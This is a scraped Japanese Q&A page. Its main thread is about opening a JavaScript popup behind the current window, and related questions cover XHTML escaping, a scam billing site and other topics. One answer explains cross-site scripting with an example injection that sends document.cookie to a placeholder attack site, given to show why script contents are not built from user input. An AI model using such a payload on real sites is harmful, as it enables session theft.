<SCRIPT language="JavaScript">
<!--
window.open("url");
//-->
</SCRIPT>

でページを開いたとき、もう一つのページを表示できますが、この方法だと、新たにopenしたページが元のページの
上に来てしまいます。
新しくオープンするウインドウが、このスクリプトを書いたページの後ろ側、背景にオープンする
ようにはできないでしょうか。

A 回答 (1件)

window.open()


で、新しいウィンドウを開いた直後に、
window.focus()
で、現在のウィンドウにフォーカスを当てる、っていうのではどうでしょう?
    • good
    • 0
この回答へのお礼

うまくいきました。
ありがとうございます。

お礼日時:2001/08/26 05:16

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人はこんなQ&Aも見ています

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Qニコニコ動画・裏組曲について どう思いますか??

ニコニコ動画・裏組曲について どう思いますか??

Aベストアンサー

私も好きですね。わりと人気が高いメドレーでもありますし。
No.1さんの言うとおり、ひぐらし~BRAVEPHOENIX~まっが~れ~ロマンスの繋ぎがいいですね。
あと、冒険でしょでしょ~プリズム~theWORLD~銀河に願いを~君をのせて~言葉に出来ないの繋ぎも最高です^^

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Q「裏ビデオ」の動画

掲示板で、俗に言う「裏ビデオ」の動画が視聴できるサイトのURLを貼り付けたんですけど、これって犯罪になるでしょうか?
もちろん、視聴できるサイトを私が運営してるわけではなく、場所を教えただけです。どなたか教えてください。m(__)m

Aベストアンサー

その「裏ビデオ」自体に違法性があることを前提とします。

ホームページを開設した本人にわいせつ文書等頒布罪(ここでは「公然と陳列」の意義について問題となります)が成立したという判例はありますが(東京地裁平成8年4月22日判決)、そのサイトのURLの貼り付けで同罪が成立したという判例は聞いたことがありません(ご存知の方がいれば、補足・修正お願いします)。

もちろん、サイト運営者と結託して自己のホームページにURLを貼れば、同罪の幇助罪あるいは共同正犯ということで処罰される可能性はあるでしょう。しかし、単にサイトの紹介という意味でURLを貼り付けたに過ぎないのであれば、いくら片面的従犯概念(幇助罪の成立自体に正犯者、ここでいう裏ビデオサイト運営者、との意思連絡は不要という考え)を広く認めるとしても、法益侵害との因果性はない(あるいは相当性を超える程度のもの?)といえるため処罰は困難ではないかと思われます。

ただ、確固たることは言えないので、うかつにそうしたサイトのURLをはりつけることは避けたほうが無難であるといえます。

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Qスタートアップと同時に裏動画が開く。

友人のパソコンで、実際に見てはいないのですが。。

スタートアップと同時に裏動画がMedia Playerで出るそうなんです。
プログラムの追加と削除の画面をキャプチャーで撮影してもらい、これだと思うものを削除してもらいましたが、まだ出ます(-"-;
スパイウエアもチェック済みなのですが、、
他にどうすればいいのかわかりません。

他に何か「これでは?」と思い当たる方いらっしゃいましたら、教えてください。
よろしくお願いします。

Aベストアンサー

[スタート]→[ファイル名を指定して実行]→ msconfig と入力してOK
→[スタートアップ]
「スタートアップ項目」
 ご質問に該当するものがこの中にあると思われますが、見つかっ
 たらチェックをはずせば自動実行は止まります。
 ただ、それが見つけられるかどうかが心配ではありますが。

 

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q未成年なのに十八歳と偽り興味本位で「アニメ裏動画バンク」と言うサイトに

未成年なのに十八歳と偽り興味本位で「アニメ裏動画バンク」と言うサイトに入り
有料とはどこにも書いていなくて「パスワードは音声発信しております」と書いていたので音声発信しているパスワードを取得しパスワードを入力してサイト内に入りました。
入ったサイトの下の方にご確認がありご確認の中に「使用料金は50000万円になります。3日以内に振り込んで下さい」と書いてあり退会しようとしても「退会する時は使用料金50000を振り込んでから下の問い合わせにパスワードを取得した電話番号と退会する旨を入力し送って下さい」と書かれており、しかも3日以内に振り込まないと300000払わなければならなくなり、さらに未成年の退会手伝きは100000かかると書いてありました。
どうすればいいんでしょうか?

Aベストアンサー

近年まれに見る分かりやすい違法サイトですね。

とりあえず、ここにそのURL入れて送信してw
(PC)
http://www.iajapan.org/hotlinecenter/cgi-bin/illegal-simple0.html
(携帯)
http://www.internethotline.jp/mobile/form_ihou.html

音声発信したら、履歴で電話番号が残っているはずです。
それも任意のコメントに書いてあげれば、相手も喜ぶはずです。

Q

このQ&Aを見た人がよく見るQ&A

人気Q&Aランキング